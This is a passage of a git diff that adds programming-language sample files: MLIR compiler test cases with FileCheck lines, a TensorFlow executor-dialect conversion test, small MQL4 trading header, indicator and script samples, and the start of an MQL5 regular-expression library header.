+// CHECK-LABEL: func @affine_apply() {
+func @affine_apply() {
+  %i = "std.constant"() {value = 0: index} : () -> index
+  %j = "std.constant"() {value = 1: index} : () -> index
+
+  // CHECK: affine.apply #map0(%c0)
+  %a = "affine.apply" (%i) { map = (d0) -> (d0 + 1) } :
+    (index) -> (index)
+
+  // CHECK: affine.apply #map1()[%c0]
+  %b = affine.apply ()[x] -> (x+1)()[%i]
+
+  return
+}
+
+// CHECK-LABEL: func @load_store
+func @load_store(memref<4x4xi32>, index) {
+^bb0(%0: memref<4x4xi32>, %1: index):
+  // CHECK: %0 = load %arg0[%arg1, %arg1] : memref<4x4xi32>
+  %2 = "std.load"(%0, %1, %1) : (memref<4x4xi32>, index, index)->i32
+
+  // CHECK: %1 = load %arg0[%arg1, %arg1] : memref<4x4xi32>
+  %3 = load %0[%1, %1] : memref<4x4xi32>
+
+  return
+}
+
+// Test with zero-dimensional operands using no index in load/store.
+// CHECK-LABEL: func @zero_dim_no_idx
+func @zero_dim_no_idx(%arg0 : memref<i32>, %arg1 : memref<i32>, %arg2 : memref<i32>) {
+  %0 = std.load %arg0[] : memref<i32>
+  std.store %0, %arg1[] : memref<i32>
+  return
+  // CHECK: %0 = load %{{.*}}[] : memref<i32>
+  // CHECK: store %{{.*}}, %{{.*}}[] : memref<i32>
+}
+
+// CHECK-LABEL: func @return_op(%arg0: i32) -> i32 {
+func @return_op(%a : i32) -> i32 {
+  // CHECK: return %arg0 : i32
+  "std.return" (%a) : (i32)->()
+}
+
+// CHECK-LABEL: func @calls(%arg0: i32) {
+func @calls(%arg0: i32) {
+  // CHECK: %0 = call @return_op(%arg0) : (i32) -> i32
+  %x = call @return_op(%arg0) : (i32) -> i32
+  // CHECK: %1 = call @return_op(%0) : (i32) -> i32
+  %y = call @return_op(%x) : (i32) -> i32
+  // CHECK: %2 = call @return_op(%0) : (i32) -> i32
+  %z = "std.call"(%x) {callee = @return_op} : (i32) -> i32
+
+  // CHECK: %f = constant @affine_apply : () -> ()
+  %f = constant @affine_apply : () -> ()
+
+  // CHECK: call_indirect %f() : () -> ()
+  call_indirect %f() : () -> ()
+
+  // CHECK: %f_0 = constant @return_op : (i32) -> i32
+  %f_0 = constant @return_op : (i32) -> i32
+
+  // CHECK: %3 = call_indirect %f_0(%arg0) : (i32) -> i32
+  %2 = call_indirect %f_0(%arg0) : (i32) -> i32
+
+  // CHECK: %4 = call_indirect %f_0(%arg0) : (i32) -> i32
+  %3 = "std.call_indirect"(%f_0, %arg0) : ((i32) -> i32, i32) -> i32
+
+  return
+}
+
+// CHECK-LABEL: func @extract_element(%arg0: tensor<*xi32>, %arg1: tensor<4x4xf32>) -> i32 {
+func @extract_element(%arg0: tensor<*xi32>, %arg1 : tensor<4x4xf32>) -> i32 {
+  %c0 = "std.constant"() {value = 0: index} : () -> index
+
+  // CHECK: %0 = extract_element %arg0[%c0, %c0, %c0, %c0] : tensor<*xi32>
+  %0 = extract_element %arg0[%c0, %c0, %c0, %c0] : tensor<*xi32>
+
+  // CHECK: %1 = extract_element %arg1[%c0, %c0] : tensor<4x4xf32>
+  %1 = extract_element %arg1[%c0, %c0] : tensor<4x4xf32>
+
+  return %0 : i32
+}
+
+// CHECK-LABEL: func @tensor_cast(%arg0
+func @tensor_cast(%arg0: tensor<*xf32>, %arg1 : tensor<4x4xf32>, %arg2: tensor<?x?xf32>) {
+  // CHECK: %0 = tensor_cast %arg0 : tensor<*xf32> to tensor<?x?xf32>
+  %0 = tensor_cast %arg0 : tensor<*xf32> to tensor<?x?xf32>
+
+  // CHECK: %1 = tensor_cast %arg1 : tensor<4x4xf32> to tensor<*xf32>
+  %1 = tensor_cast %arg1 : tensor<4x4xf32> to tensor<*xf32>
+
+  // CHECK: %2 = tensor_cast %arg2 : tensor<?x?xf32> to tensor<4x?xf32>
+  %2 = tensor_cast %arg2 : tensor<?x?xf32> to tensor<4x?xf32>
+
+  // CHECK: %3 = tensor_cast %2 : tensor<4x?xf32> to tensor<?x?xf32>
+  %3 = tensor_cast %2 : tensor<4x?xf32> to tensor<?x?xf32>
+
+  return
+}
+
+// CHECK-LABEL: func @memref_cast(%arg0
+func @memref_cast(%arg0: memref<4xf32>, %arg1 : memref<?xf32>) {
+  // CHECK: %0 = memref_cast %arg0 : memref<4xf32> to memref<?xf32>
+  %0 = memref_cast %arg0 : memref<4xf32> to memref<?xf32>
+
+  // CHECK: %1 = memref_cast %arg1 : memref<?xf32> to memref<4xf32>
+  %1 = memref_cast %arg1 : memref<?xf32> to memref<4xf32>
+  return
+}
+
+// CHECK-LABEL: func @test_dimop(%arg0
+func @test_dimop(%arg0: tensor<4x4x?xf32>) {
+  // CHECK: %0 = dim %arg0, 2 : tensor<4x4x?xf32>
+  %0 = dim %arg0, 2 : tensor<4x4x?xf32>
+  // use dim as an affine_int to ensure type correctness
+  %1 = affine.apply (d0) -> (d0)(%0)
+  return
+}
+
+
+// CHECK-LABEL: func @test_vector.transfer_ops(%arg0
+func @test_vector.transfer_ops(%arg0: memref<?x?xf32>) {
+  %c3 = constant 3 : index
+  %cst = constant 3.0 : f32
+  // CHECK: %0 = vector.transfer_read %arg0[%c3, %c3] {permutation_map = #[[map_proj_d0d1_d0]]} : memref<?x?xf32>, vector<128xf32>
+  %0 = vector.transfer_read %arg0[%c3, %c3] {permutation_map = (d0, d1)->(d0)} : memref<?x?xf32>, vector<128xf32>
+  // CHECK: %1 = vector.transfer_read %arg0[%c3, %c3] {permutation_map = #[[map_proj_d0d1_d1d0]]} : memref<?x?xf32>, vector<3x7xf32>
+  %1 = vector.transfer_read %arg0[%c3, %c3] {permutation_map = (d0, d1)->(d1, d0)} : memref<?x?xf32>, vector<3x7xf32>
+  // CHECK: %2 = vector.transfer_read %arg0[%c3, %c3], (%cst) {permutation_map = #[[map_proj_d0d1_d0]]} : memref<?x?xf32>,  vector<128xf32>
+  %2 = vector.transfer_read %arg0[%c3, %c3], (%cst) {permutation_map = (d0, d1)->(d0)} : memref<?x?xf32>,  vector<128xf32>
+  // CHECK: %3 = vector.transfer_read %arg0[%c3, %c3], (%cst) {permutation_map = #[[map_proj_d0d1_d1]]} : memref<?x?xf32>,  vector<128xf32>
+  %3 = vector.transfer_read %arg0[%c3, %c3], (%cst) {permutation_map = (d0, d1)->(d1)} : memref<?x?xf32>,  vector<128xf32>
+  //
+  // CHECK: vector.transfer_write %0, %arg0[%c3, %c3] {permutation_map = #[[map_proj_d0d1_d0]]} : vector<128xf32>, memref<?x?xf32>
+  vector.transfer_write %0, %arg0[%c3, %c3] {permutation_map = (d0, d1)->(d0)} : vector<128xf32>, memref<?x?xf32>
+  // CHECK: vector.transfer_write %1, %arg0[%c3, %c3] {permutation_map = #[[map_proj_d0d1_d1d0]]} : vector<3x7xf32>, memref<?x?xf32>
+  vector.transfer_write %1, %arg0[%c3, %c3] {permutation_map = (d0, d1)->(d1, d0)} : vector<3x7xf32>, memref<?x?xf32>
+  return
+}
+
diff --git a/samples/MLIR/executor_to_control_dialect.mlir b/samples/MLIR/executor_to_control_dialect.mlir
new file mode 100644
index 0000000000..73446a84fe
--- /dev/null
+++ b/samples/MLIR/executor_to_control_dialect.mlir
@@ -0,0 +1,87 @@
+// RUN: tf-opt -tf-executor-to-control-conversion %s  | FileCheck %s --dump-input=fail
+
+// CHECK-LABEL: func @LoopTest() {
+func @LoopTest() {
+  tf_executor.graph {
+    %0:2 = tf_executor.island {
+      %cst = "tf.Const"() {device = "", dtype = "tfdtype$DT_INT32", name = "Const", value = dense<1> : tensor<i32>} : () -> tensor<i32>
+      tf_executor.yield %cst : tensor<i32>
+    }
+    %1:2 = tf_executor.Enter %0#0 frame "while/while_context" : (tensor<i32>) -> (tensor<*xi32>, !tf_executor.control) {T = "tfdtype$DT_INT32", device = "", name = "while/Enter"}
+    %2 = tf_executor.island {
+      "tf.NoOp"() {device = "", name = "cluster/pivot"} : () -> ()
+      tf_executor.yield
+    }
+    %3:3 = tf_executor.NextIteration.Source : tensor<*xi32> {T = "tfdtype$DT_INT32", device = "", id = 0 : i64, name = "while/NextIteration"}
+    %4:3 = tf_executor.Merge %3#0, %1#0 : tensor<*xi32> {N = 2 : i64, T = "tfdtype$DT_INT32", device = "", name = "while/Merge"}
+    %5:2 = tf_executor.island(%4#2) {
+      %cst = "tf.Const"() {device = "", dtype = "tfdtype$DT_INT32", name = "while/Less/y", value = dense<2> : tensor<i32>} : () -> tensor<i32>
+      tf_executor.yield %cst : tensor<i32>
+    }
+    %6:2 = tf_executor.island {
+      %14 = "tf.Less"(%4#0, %5#0) {T = "tfdtype$DT_INT32", device = "", name = "while/Less"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi1>
+      tf_executor.yield %14 : tensor<*xi1>
+    }
+    %7:2 = tf_executor.LoopCond %6#0 : (tensor<*xi1>) -> (tensor<i1>, !tf_executor.control) {device = "", name = "while/LoopCond"}
+    %8:3 = tf_executor.Switch %4#0, %7#0 : tensor<*xi32> {T = "tfdtype$DT_INT32", _class = ["loc = @while/Merge"], device = "", name = "while/Switch"}
+    %9:2 = tf_executor.Exit %8#0 : tensor<*xi32> {T = "tfdtype$DT_INT32", device = "", name = "while/Exit"}
+    %10:2 = tf_executor.island {
+      %14 = "tf.Identity"(%8#1) {T = "tfdtype$DT_INT32", device = "", name = "while/Identity"} : (tensor<*xi32>) -> tensor<*xi32>
+      tf_executor.yield %14 : tensor<*xi32>
+    }
+    %11:2 = tf_executor.island(%10#1) {
+      %cst = "tf.Const"() {device = "", dtype = "tfdtype$DT_INT32", name = "while/Add/y", value = dense<3> : tensor<i32>} : () -> tensor<i32>
+      tf_executor.yield %cst : tensor<i32>
+    }
+    %12:2 = tf_executor.island {
+      %14 = "tf.Add"(%10#0, %11#0) {T = "tfdtype$DT_INT32", device = "", name = "while/Add"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>
+      tf_executor.yield %14 : tensor<*xi32>
+    }
+    %13 = tf_executor.ControlTrigger %2, %12#1, %9#1 {_tpu_replicate = "cluster", device = "", name = "gradients/while/mul_2_Da30D05wlPU_grad/SymbolicGradient/b_sync"}
+    tf_executor.NextIteration.Sink [%3#1] %12#0, %13 : tensor<*xi32> {T = "tfdtype$DT_INT32", device = "", id = 0 : i64, name = "while/NextIteration"}
+    tf_executor.fetch
+  }
+  return
+}
+
+// CHECK-NEXT:   %[[CONST:[0-9]*]]:2 = "_tf.Const"() {device = "", dtype = "tfdtype$DT_INT32", name = "Const", value = dense<1> : tensor<i32>} : () -> (tensor<i32>, !_tf.control)
+// CHECK-NEXT:   %[[ENTER:[0-9]*]]:2 = "_tf.Enter"(%[[CONST]]#0) {T = "tfdtype$DT_INT32", device = "", frame_name = "while/while_context", is_constant = false, name = "while/Enter", parallel_iterations = 10 : i64} : (tensor<i32>) -> (tensor<*xi32>, !_tf.control)
+// CHECK-NEXT:   %[[NOOP:[0-9]*]] = "_tf.NoOp"() {device = "", name = "cluster/pivot"} : () -> !_tf.control
+// CHECK-NEXT:   %[[SOURCE:[0-9]*]]:2 = "_tf.NextIteration.source"() {T = "tfdtype$DT_INT32", device = "", id = 0 : i64, name = "while/NextIteration"} : () -> (tensor<*xi32>, !_tf.control)
+// CHECK-NEXT:   %[[MERGE:[0-9]*]]:3 = "_tf.Merge"(%[[SOURCE]]#0, %[[ENTER]]#0) {N = 2 : i64, T = "tfdtype$DT_INT32", device = "", name = "while/Merge"} : (tensor<*xi32>, tensor<*xi32>) -> (tensor<*xi32>, tensor<i32>, !_tf.control)
+// CHECK-NEXT:   %[[CONST_LESS:[0-9]*]]:2 = "_tf.Const"(%[[MERGE]]#2) {device = "", dtype = "tfdtype$DT_INT32", name = "while/Less/y", value = dense<2> : tensor<i32>} : (!_tf.control) -> (tensor<i32>, !_tf.control)
+// CHECK-NEXT:   %[[LESS:[0-9]*]]:2 = "_tf.Less"(%[[MERGE]]#0, %[[CONST_LESS]]#0) {T = "tfdtype$DT_INT32", device = "", name = "while/Less"} : (tensor<*xi32>, tensor<i32>) -> (tensor<*xi1>, !_tf.control)
+// CHECK-NEXT:   %[[COND:[0-9]*]]:2 = "_tf.LoopCond"(%[[LESS]]#0) {device = "", name = "while/LoopCond"} : (tensor<*xi1>) -> (tensor<i1>, !_tf.control)
+// CHECK-NEXT:   %[[SWITCH:[0-9]*]]:3 = "_tf.Switch"(%[[MERGE]]#0, %[[COND]]#0) {T = "tfdtype$DT_INT32", _class = ["loc = @while/Merge"], device = "", name = "while/Switch"} : (tensor<*xi32>, tensor<i1>) -> (tensor<*xi32>, tensor<*xi32>, !_tf.control)
+// CHECK-NEXT:   %[[EXIT:[0-9]*]]:2 = "_tf.Exit"(%[[SWITCH]]#0) {T = "tfdtype$DT_INT32", device = "", name = "while/Exit"} : (tensor<*xi32>) -> (tensor<*xi32>, !_tf.control)
+// CHECK-NEXT:   %[[IDENTITY:[0-9]*]]:2 = "_tf.Identity"(%[[SWITCH]]#1) {T = "tfdtype$DT_INT32", device = "", name = "while/Identity"} : (tensor<*xi32>) -> (tensor<*xi32>, !_tf.control)
+// CHECK-NEXT:   %[[CONST_ADD:[0-9]*]]:2 = "_tf.Const"(%[[IDENTITY]]#1) {device = "", dtype = "tfdtype$DT_INT32", name = "while/Add/y", value = dense<3> : tensor<i32>} : (!_tf.control) -> (tensor<i32>, !_tf.control)
+// CHECK-NEXT:   %[[ADD:[0-9]*]]:2 = "_tf.Add"(%[[IDENTITY]]#0, %[[CONST_ADD]]#0) {T = "tfdtype$DT_INT32", device = "", name = "while/Add"} : (tensor<*xi32>, tensor<i32>) -> (tensor<*xi32>, !_tf.control)
+// CHECK-NEXT:   %[[CT:[0-9]*]] = "_tf.ControlTrigger"(%[[NOOP]], %[[ADD]]#1, %[[EXIT]]#1) {_tpu_replicate = "cluster", device = "", name = "gradients/while/mul_2_Da30D05wlPU_grad/SymbolicGradient/b_sync"} : (!_tf.control, !_tf.control, !_tf.control) -> !_tf.control
+// CHECK-NEXT:   %[[SINK:[0-9]*]] = "_tf.NextIteration.sink"(%[[ADD]]#0, %[[CT]]) {T = "tfdtype$DT_INT32", device = "", id = 0 : i64, name = "while/NextIteration"} : (tensor<*xi32>, !_tf.control) -> !_tf.control
+// CHECK-NEXT:   return
+
+
+
+
+// CHECK-LABEL: func @multiple_ops_region
+func @multiple_ops_region(%arg0 : tensor<*xi32>, %arg1 : tensor<i32>) {
+  tf_executor.graph {
+    %0:2 = tf_executor.island {
+      // The 4 operations are independent, but the current conversion will add
+      // control dependencies conservatively.
+      %1 = "tf.Add"(%arg0, %arg1) {T = "tfdtype$DT_INT32", device = "", name = "while/Add1"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>
+      %2 = "tf.Add"(%arg0, %arg1) {T = "tfdtype$DT_INT32", device = "", name = "while/Add2"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>
+      %3 = "tf.Add"(%arg0, %arg1) {T = "tfdtype$DT_INT32", device = "", name = "while/Add3"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>
+      %4 = "tf.Add"(%arg0, %arg1) {T = "tfdtype$DT_INT32", device = "", name = "while/Add4"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>
+      tf_executor.yield %4 : tensor<*xi32>
+    }
+    tf_executor.fetch
+  }
+  return
+}
+
+// CHECK-NEXT: %[[ADD1:[0-9]*]]:2 = "_tf.Add"(%arg0, %arg1) {T = "tfdtype$DT_INT32", device = "", name = "while/Add1"} : (tensor<*xi32>, tensor<i32>) -> (tensor<*xi32>, !_tf.control)
+// CHECK-NEXT: %[[ADD2:[0-9]*]]:2 = "_tf.Add"(%arg0, %arg1, %[[ADD1]]#1) {T = "tfdtype$DT_INT32", device = "", name = "while/Add2"} : (tensor<*xi32>, tensor<i32>, !_tf.control) -> (tensor<*xi32>, !_tf.control)
+// CHECK-NEXT: %[[ADD3:[0-9]*]]:2 = "_tf.Add"(%arg0, %arg1, %[[ADD2]]#1) {T = "tfdtype$DT_INT32", device = "", name = "while/Add3"} : (tensor<*xi32>, tensor<i32>, !_tf.control) -> (tensor<*xi32>, !_tf.control)
+// CHECK-NEXT: %[[ADD4:[0-9]*]]:2 = "_tf.Add"(%arg0, %arg1, %[[ADD3]]#1) {T = "tfdtype$DT_INT32", device = "", name = "while/Add4"} : (tensor<*xi32>, tensor<i32>, !_tf.control) -> (tensor<*xi32>, !_tf.control)
diff --git a/samples/MLIR/sample.mlir b/samples/MLIR/sample.mlir
new file mode 100644
index 0000000000..db86a3f46f
--- /dev/null
+++ b/samples/MLIR/sample.mlir
@@ -0,0 +1,102 @@
+// CHECK-LABEL: func @func_with_ops(%arg0: f32) {
+func @func_with_ops(%a : f32) {
+  // CHECK: %0 = "getTensor"() : () -> tensor<4x4x?xf32>
+  %t = "getTensor"() : () -> tensor<4x4x?xvector<10xf32>>>
+
+  %i6 = muli %i2, %i2 : i32
+  %t2 = "std.dim"(%t){index = 2} : (tensor<4x4x?xvector<10xf32>>) -> index
+  %x = "foo"(%a, %a) : (f32,f32) -> (memref<1 x i32, (d0) -> (d0), 4>)
+
+  return
+}
+
+func @count(%x: tensor<i64) -> (i64, i64)
+  attributes {fruit = "banana"} {
+  return %x, %x: i64, i64
+}
+
+func @correct_number_of_regions() {
+    // CHECK: test.two_region_op
+    "test.two_region_op"()(
+      {"work"() : () -> ()},
+      {"work"() : () -> ()}
+    ) : () -> ()
+    return
+}
+
+func @inline_notation() -> i32 {
+  %1 = "foo"() : () -> i32 loc("foo")
+  %1p = "foo"() : () -> i32 loc(fused<"myPass">["abc", "de"])
+
+  // CHECK: constant 4 : index loc(callsite("foo" at "mysource.cc":10:8))
+  %2 = constant 4 : index loc(callsite("foo" at "mysource.cc":10:8))
+
+  affine.for %i0 = 0 to 8 {
+  } loc(fused["foo", "mysource.cc":10:8])
+
+  affine.if #set0(%2) {
+  } loc(fused<"myPass">["foo", "foo2"])
+
+  return %1 : i32 loc(unknown)
+}
+
+func @simple(i64, i1) -> i64 {
+^bb0(%a: i64, %cond: i1): // Code dominated by ^bb0 may refer to %a
+  cond_br %cond, ^bb1, ^bb2
+
+^bb1:
+  br ^bb3(%a: i64)    // Branch passes %a as the argument
+
+^bb2:
+  %b = addi %a, %a : i64
+  br ^bb3(%b: i64)    // Branch passes %b as the argument
+
+// ^bb3 receives an argument, named %c, from predecessors
+// and passes it on to bb4 twice.
+^bb3(%c: i64):
+  br ^bb4(%c, %c : i64, i64)
+
+^bb4(%d : i64, %e : i64):
+  %0 = addi %d, %e : i64
+  return %0 : i64
+}
+
+// CHECK-LABEL: func @func_with_ops(%arg0: f32) {
+func @func_with_ops(f32) {
+^bb0(%a : f32):
+  %t = "getTensor"() : () -> tensor<4x4x?xf32>
+  %t2 = "std.dim"(%t){index = 2} : (tensor<4x4x?xf32>) -> index
+
+  %x = "std.addf"(%a, %a) : (f32,f32) -> (f32) // help
+
+  return
+}
+
+func @multiblock() {
+  return     // CHECK:   return
+^bb1:         // CHECK: ^bb1:   // no predecessors
+  br ^bb4     // CHECK:   br ^bb3
+^bb2:         // CHECK: ^bb2:   // pred: ^bb2
+  br ^bb2     // CHECK:   br ^bb2
+^bb4:         // CHECK: ^bb3:   // pred: ^bb1
+  return     // CHECK:   return
+}
+
+func @dialect_attribute_with_type() {
+  "foo.unknown_op"() {foo = #foo.attr : i32} : () -> ()
+}
+
+func @inline_notation() -> i32 {
+  %1 = "foo"() : () -> i32 loc("foo")
+
+  %2 = constant 4 : index loc(callsite("foo" at "mysource.cc":10:8))
+
+  affine.for %i0 = 0 to 8 {
+  } loc(fused["foo", "mysource.cc":10:8])
+
+  affine.if #set0(%2) {
+  } loc(fused<"myPass">["foo", "foo2"])
+
+  return %1 : i32 loc(unknown)
+}
+
diff --git a/samples/MQL4/header-sample.mqh b/samples/MQL4/header-sample.mqh
new file mode 100644
index 0000000000..4b5d2a184c
--- /dev/null
+++ b/samples/MQL4/header-sample.mqh
@@ -0,0 +1,47 @@
+//+------------------------------------------------------------------+
+//|                                                header-sample.mqh |
+//|                                   Copyright 2016, Andrey Osorgin |
+//+------------------------------------------------------------------+
+//|                     The MIT License (MIT)                        |
+//|                                                                  |
+//| Permission is hereby granted, free of charge, to any person      |
+//| obtaining a copy of this software and associated documentation   |
+//| files (the "Software"), to deal in the Software without          |
+//| restriction, including without limitation the rights to use,     |
+//| copy, modify, merge, publish, distribute, sublicense, and/or sell|
+//| copies of the Software, and to permit persons to whom the        |
+//| Software is furnished to do so, subject to the following         |
+//| conditions:                                                      |
+//|                                                                  |
+//| The above copyright notice and this permission notice shall be   |
+//| included in all copies or substantial portions of the Software.  |
+//|                                                                  |
+//| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,  |
+//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |
+//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |
+//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |
+//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |
+//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |
+//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |
+//| OTHER DEALINGS IN THE SOFTWARE.                                  |
+//|                                                                  |
+//| A copy of the MIT License (MIT) is available at                  |
+//| https://opensource.org/licenses/MIT                              |
+//+------------------------------------------------------------------+
+#property strict
+//+------------------------------------------------------------------+
+//|                                                                  |
+//+------------------------------------------------------------------+
+class CSomeObject
+  {
+protected:
+   int               m_someproperty;
+private:
+   bool              SomeFunction() {return true;}
+public:
+                     CSomeObject(void): m_someproperty(0) {}
+                    ~CSomeObject(void)                    {}
+   void              SetName(int n){m_someproperty=n;}// sets somepropery
+   int               GetName(){return(m_someproperty);} // returns someproperty
+  };
+//+------------------------------------------------------------------+
diff --git a/samples/MQL4/indicator-sample.mq4 b/samples/MQL4/indicator-sample.mq4
new file mode 100644
index 0000000000..e19d286880
--- /dev/null
+++ b/samples/MQL4/indicator-sample.mq4
@@ -0,0 +1,61 @@
+//+------------------------------------------------------------------+
+//|                                             indicator-sample.mq4 |
+//|                                   Copyright 2016, Andrey Osorgin |
+//+------------------------------------------------------------------+
+//|                     The MIT License (MIT)                        |
+//|                                                                  |
+//| Permission is hereby granted, free of charge, to any person      |
+//| obtaining a copy of this software and associated documentation   |
+//| files (the "Software"), to deal in the Software without          |
+//| restriction, including without limitation the rights to use,     |
+//| copy, modify, merge, publish, distribute, sublicense, and/or sell|
+//| copies of the Software, and to permit persons to whom the        |
+//| Software is furnished to do so, subject to the following         |
+//| conditions:                                                      |
+//|                                                                  |
+//| The above copyright notice and this permission notice shall be   |
+//| included in all copies or substantial portions of the Software.  |
+//|                                                                  |
+//| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,  |
+//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |
+//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |
+//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |
+//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |
+//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |
+//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |
+//| OTHER DEALINGS IN THE SOFTWARE.                                  |
+//|                                                                  |
+//| A copy of the MIT License (MIT) is available at                  |
+//| https://opensource.org/licenses/MIT                              |
+//+------------------------------------------------------------------+
+#property version   "1.00"
+#property strict
+
+#property indicator_chart_window
+#property indicator_plots 0
+//+------------------------------------------------------------------+
+//| Custom indicator initialization function                         |
+//+------------------------------------------------------------------+
+void OnInit(void)
+  {
+ //---
+   }
+//+------------------------------------------------------------------+
+//| Bears Power                                                      |
+//+------------------------------------------------------------------+
+int OnCalculate(const int rates_total,
+                const int prev_calculated,
+                const datetime &time[],
+                const double &open[],
+                const double &high[],
+                const double &low[],
+                const double &close[],
+                const long &tick_volume[],
+                const long &volume[],
+                const int &spread[])
+  {
+  Print("The number of bars on the current chart: ",iBars(Symbol(),Period()));
+//---
+   return(rates_total);
+  }
+//+------------------------------------------------------------------+
diff --git a/samples/MQL4/script-sample.mq4 b/samples/MQL4/script-sample.mq4
new file mode 100644
index 0000000000..b4d6812d9f
--- /dev/null
+++ b/samples/MQL4/script-sample.mq4
@@ -0,0 +1,51 @@
+//+------------------------------------------------------------------+
+//|                                                script-sample.mq4 |
+//|                                   Copyright 2016, Andrey Osorgin |
+//+------------------------------------------------------------------+
+//|                     The MIT License (MIT)                        |
+//|                                                                  |
+//| Permission is hereby granted, free of charge, to any person      |
+//| obtaining a copy of this software and associated documentation   |
+//| files (the "Software"), to deal in the Software without          |
+//| restriction, including without limitation the rights to use,     |
+//| copy, modify, merge, publish, distribute, sublicense, and/or sell|
+//| copies of the Software, and to permit persons to whom the        |
+//| Software is furnished to do so, subject to the following         |
+//| conditions:                                                      |
+//|                                                                  |
+//| The above copyright notice and this permission notice shall be   |
+//| included in all copies or substantial portions of the Software.  |
+//|                                                                  |
+//| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,  |
+//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |
+//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |
+//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |
+//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |
+//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |
+//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |
+//| OTHER DEALINGS IN THE SOFTWARE.                                  |
+//|                                                                  |
+//| A copy of the MIT License (MIT) is available at                  |
+//| https://opensource.org/licenses/MIT                              |
+//+------------------------------------------------------------------+
+#property version   "1.00"
+#property strict
+#property script_show_inputs
+
+input int StopLoss=100; //Stop Loss
+input int TakeProfit=100; //Take Profit
+//+------------------------------------------------------------------+
+//| Script program start function                                    |
+//+------------------------------------------------------------------+
+void OnStart()
+  {
+   double minstoplevel=MarketInfo(Symbol(),MODE_STOPLEVEL);
+   Print("Minimum Stop Level=",minstoplevel," points");
+//---
+   double sl=NormalizeDouble(Bid-StopLoss*Point,Digits);
+   double tp=NormalizeDouble(Ask+TakeProfit*Point,Digits);
+//---
+   int result=OrderSend(Symbol(),OP_BUY,0.01,Ask,1,sl,tp,"Test",0,0,clrNONE);
+   Print("Success? ",result);
+  }
+//+------------------------------------------------------------------+
diff --git a/samples/MQL5/Regex.mqh b/samples/MQL5/Regex.mqh
new file mode 100644
index 0000000000..ca7be7e11d
--- /dev/null
+++ b/samples/MQL5/Regex.mqh
@@ -0,0 +1,1390 @@
+//+------------------------------------------------------------------+
+//|                                               Regular Expression |
+//|                        Copyright 2016, MetaQuotes Software Corp. |
+//|                                             https://www.mql5.com |
+//+------------------------------------------------------------------+
+//| Regular Expression Library from .NET Framework 4.6.1 implemented |
+//| in MetaQuotes Language 5 (MQL5)                                  |
+//| Original sources at https://github.com/Microsoft/referencesource |
+//|                                                                  |
+//| The capabilities of the Regular Expression Library include:      |
+//| - Lazy quantifiers                                               |
+//| - Positive and negative lookbehind                               |
+//| - Conditional evaluation                                         |
+//| - Balancing group definitions                                    |
+//| - Nonbacktracking subexpressions                                 |
+//| - Right-to-left matching                                         |
+//|                                                                  |
+//| If you find any functional differences between Regular Expression|
+//| Library for MQL5 and the original .NET Framework 4.6.1 project,  |
+//| please contact developers of MQL5 on the Forum at www.mql5.com.  |
+//|                                                                  |
+//| You can report bugs found in the computational algorithms of the |
+//| Regular Expression Library from .Net Framework 4.6.1 by notifying|
+//| the project coordinators.                                        |
+//+------------------------------------------------------------------+
+//|                     The MIT License (MIT)                        |
+//|                                                                  |
+//| Permission is hereby granted, free of charge, to any person      |
+//| obtaining a copy of this software and associated documentation   |
+//| files (the "Software"), to deal in the Software without          |
+//| restriction, including without limitation the rights to use,     |
+//| copy, modify, merge, publish, distribute, sublicense, and/or sell|
+//| copies of the Software, and to permit persons to whom the        |
+//| Software is furnished to do so, subject to the following         |
+//| conditions:                                                      |
+//|                                                                  |
+//| The above copyright notice and this permission notice shall be   |
+//| included in all copies or substantial portions of the Software.  |
+//|                                                                  |
+//| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,  |
+//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |
+//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |
+//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |
+//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |
+//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |
+//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |
+//| OTHER DEALINGS IN THE SOFTWARE.                                  |
+//|                                                                  |
+//| A copy of the MIT License (MIT) is available at                  |
+//| https://opensource.org/licenses/MIT                              |
+//+------------------------------------------------------------------+
+class Match;
+class MatchCollection;
+class CachedCodeEntry;
+class ReplacementReference;
+class RunnerReference;
+class RegexRunner;
+//+------------------------------------------------------------------+
+//| Callback class.                                                  |
+//+------------------------------------------------------------------+
+typedef string(*MatchEvaluator)(Match*);
